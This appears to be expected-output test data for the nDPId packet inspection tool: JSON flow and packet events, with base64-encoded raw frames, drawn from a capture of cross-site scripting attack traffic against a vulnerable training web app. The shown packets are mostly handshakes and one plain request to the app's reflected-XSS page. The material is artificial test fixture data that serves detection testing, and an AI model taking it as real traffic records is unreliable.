+00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":457,"flow_packet_id":6,"flow_first_seen":1499347740751,"flow_last_seen":1499347745824,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60438,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":459,"flow_packet_id":6,"flow_first_seen":1499347744595,"flow_last_seen":1499347749825,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60478,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":459,"flow_packet_id":6,"flow_first_seen":1499347744595,"flow_last_seen":1499347749825,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60478,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":460,"flow_packet_id":6,"flow_first_seen":1499347747187,"flow_last_seen":1499347752826,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60504,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":460,"flow_packet_id":6,"flow_first_seen":1499347747187,"flow_last_seen":1499347752826,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60504,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00948{"flow_id":495,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7049,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347813,"pkt_ts_usec":820455,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzPHVAAD4Gh+SsEAABwKgKMoCKAFAzSiZmlxl2FIAYATur1wAAAQEICgE8IjsD5fKxR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":495,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7050,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347813,"pkt_ts_usec":823448,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekehAAEAGKwbAqAoyrBAAAQBQgIqXGXYUM0on5YAYAQd9\/AAAAQEICgPl87EBPCI7SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMwOjEzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7052,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":499,"flow_packet_id":1,"flow_first_seen":1499347814066,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":499,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347814,"pkt_ts_usec":66618,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NuNAAD4Gju2sEAABwKgKMoDOAFApMBSaAAAAAKACchB8ZgAAAgQFtAQCCAoBPCJ5AAAAAAEDAwc="} +00443{"flow_id":499,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7053,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347814,"pkt_ts_usec":66711,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgM6yTRTHKTAUm6AScSC+XAAAAgQFtAQCCAoD5fPuATwieQEDAwc="} +00431{"flow_id":499,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7055,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347814,"pkt_ts_usec":67492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NuRAAD4GjvSsEAABwKgKMoDOAFApMBSbsk0UyIAQAOVdZAAAAQEICgE8InkD5fPu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7061,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":500,"flow_packet_id":1,"flow_first_seen":1499347815351,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":500,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7061,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":351639,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aqNAAD4GWy2sEAABwKgKMoDcAFBV2UkZAAAAAKACchAZ7wAAAgQFtAQCCAoBPCO6AAAAAAEDAwc="} +00444{"flow_id":500,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":351759,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgNzeXu4gVdlJGqAScSBVOQAAAgQFtAQCCAoD5fUvATwjugEDAwc="} +00432{"flow_id":500,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":352544,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aqRAAD4GWzSsEAABwKgKMoDcAFBV2Uka3l7uIYAQAOX0PwAAAQEICgE8I7sD5fUv"} +00432{"flow_id":496,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7067,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":842254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+YxAAD4GzEusEAABwKgKMoCkAFCAVuc49cS404ARAOVORgAAAQEICgE8JDUD5fAy"} +00433{"flow_id":496,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":842474,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TXlAAEAGdl\/AqAoyrBAAAQBQgKT1xLjTgFbnOYARAONIzwAAAQEICgPl9aoBPCQ1"} +00432{"flow_id":496,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347815,"pkt_ts_usec":843256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+Y1AAD4GzEqsEAABwKgKMoCkAFCAVuc59cS41IAQAOVIzQAAAQEICgE8JDUD5fWq"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7073,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":501,"flow_packet_id":1,"flow_first_seen":1499347816657,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33002,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":501,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7073,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":657942,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lQ1AAD4GMMOsEAABwKgKMoDqAFAyzLAMAAAAAKACchDUswAAAgQFtAQCCAoBPCUBAAAAAAEDAwc="} +00444{"flow_id":501,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":658067,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgOp6zxHVMsywDaAScSBOkwAAAgQFtAQCCAoD5fZ1ATwlAQEDAwc="} +00432{"flow_id":501,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":658755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lQ5AAD4GMMqsEAABwKgKMoDqAFAyzLANes8R1oAQAOXtmgAAAQEICgE8JQED5fZ1"} +00433{"flow_id":497,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7079,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":842889,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/z9AAD4GxpisEAABwKgKMoCyAFD5M+DERBLt4oARAOVWOAAAAQEICgE8JS8D5fFy"} +00432{"flow_id":497,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":843100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0G0ZAAEAGqJLAqAoyrBAAAQBQgLJEEu3i+TPgxYARAONRBwAAAQEICgPl9qQBPCUv"} +00433{"flow_id":497,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347816,"pkt_ts_usec":843891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/0BAAD4GxpesEAABwKgKMoCyAFD5M+DFRBLt44AQAOVRBQAAAQEICgE8JS8D5fak"} +00432{"flow_id":498,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7085,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347817,"pkt_ts_usec":843606,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Yt5AAD4GYvqsEAABwKgKMoDAAFAQTEPhWyVuOoARAOVCUwAAAQEICgE8JikD5fKw"} +00432{"flow_id":498,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7086,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347817,"pkt_ts_usec":843831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0maRAAEAGKjTAqAoyrBAAAQBQgMBbJW46EExD4oARAOM9ZgAAAQEICgPl954BPCYp"} +00432{"flow_id":498,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7087,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347817,"pkt_ts_usec":844555,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Yt9AAD4GYvmsEAABwKgKMoDAAFAQTEPiWyVuO4AQAOU9YwAAAQEICgE8JioD5fee"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7094,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":502,"flow_packet_id":1,"flow_first_seen":1499347819250,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33028,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":502,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7094,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":250899,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LORAAD4GmOysEAABwKgKMoEEAFDtQwttAAAAAKACchC8OQAAAgQFtAQCCAoBPCeJAAAAAAEDAwc="} +00444{"flow_id":502,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":251024,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgQQkyBmr7UMLbqAScSCBwQAAAgQFtAQCCAoD5fj+ATwniQEDAwc="} +00432{"flow_id":502,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":251794,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LOVAAD4GmPOsEAABwKgKMoEEAFDtQwtuJMgZrIAQAOUgyQAAAQEICgE8J4kD5fj+"} +00432{"flow_id":499,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7100,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":844947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NuVAAD4GjvOsEAABwKgKMoDOAFApMBSbsk0UyIARAOVXvgAAAQEICgE8KB4D5fPu"} +00432{"flow_id":499,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7101,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":845138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07VpAAEAG1n3AqAoyrBAAAQBQgM6yTRTIKTAUnIARAONSGwAAAQEICgPl+ZIBPCge"} +00432{"flow_id":499,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347819,"pkt_ts_usec":845842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NuZAAD4GjvKsEAABwKgKMoDOAFApMBScsk0UyYAQAOVSGQAAAQEICgE8KB4D5fmS"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7106,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":503,"flow_packet_id":1,"flow_first_seen":1499347820510,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":503,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7106,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":510217,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zKZAAD4G+SmsEAABwKgKMoESAFBNgeRiAAAAAKACchCBvQAAAgQFtAQCCAoBPCjEAAAAAAEDAwc="} +00444{"flow_id":503,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7107,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":510376,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgRIUqvVqTYHkY6AScSB6aAAAAgQFtAQCCAoD5fo5ATwoxAEDAwc="} +00432{"flow_id":503,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":510997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zKdAAD4G+TCsEAABwKgKMoESAFBNgeRjFKr1a4AQAOUZcAAAAQEICgE8KMQD5fo5"} +00432{"flow_id":500,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7112,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":845291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aqVAAD4GWzOsEAABwKgKMoDcAFBV2Uka3l7uIYARAOXu4QAAAQEICgE8KRgD5fUv"} +00432{"flow_id":500,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7113,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":845511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0FK1AAEAGryvAqAoyrBAAAQBQgNzeXu4hVdlJG4ARAOPphQAAAQEICgPl+owBPCkY"} +00432{"flow_id":500,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7114,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347820,"pkt_ts_usec":846254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aqZAAD4GWzKsEAABwKgKMoDcAFBV2Ukb3l7uIoAQAOXpgwAAAQEICgE8KRgD5fqM"} 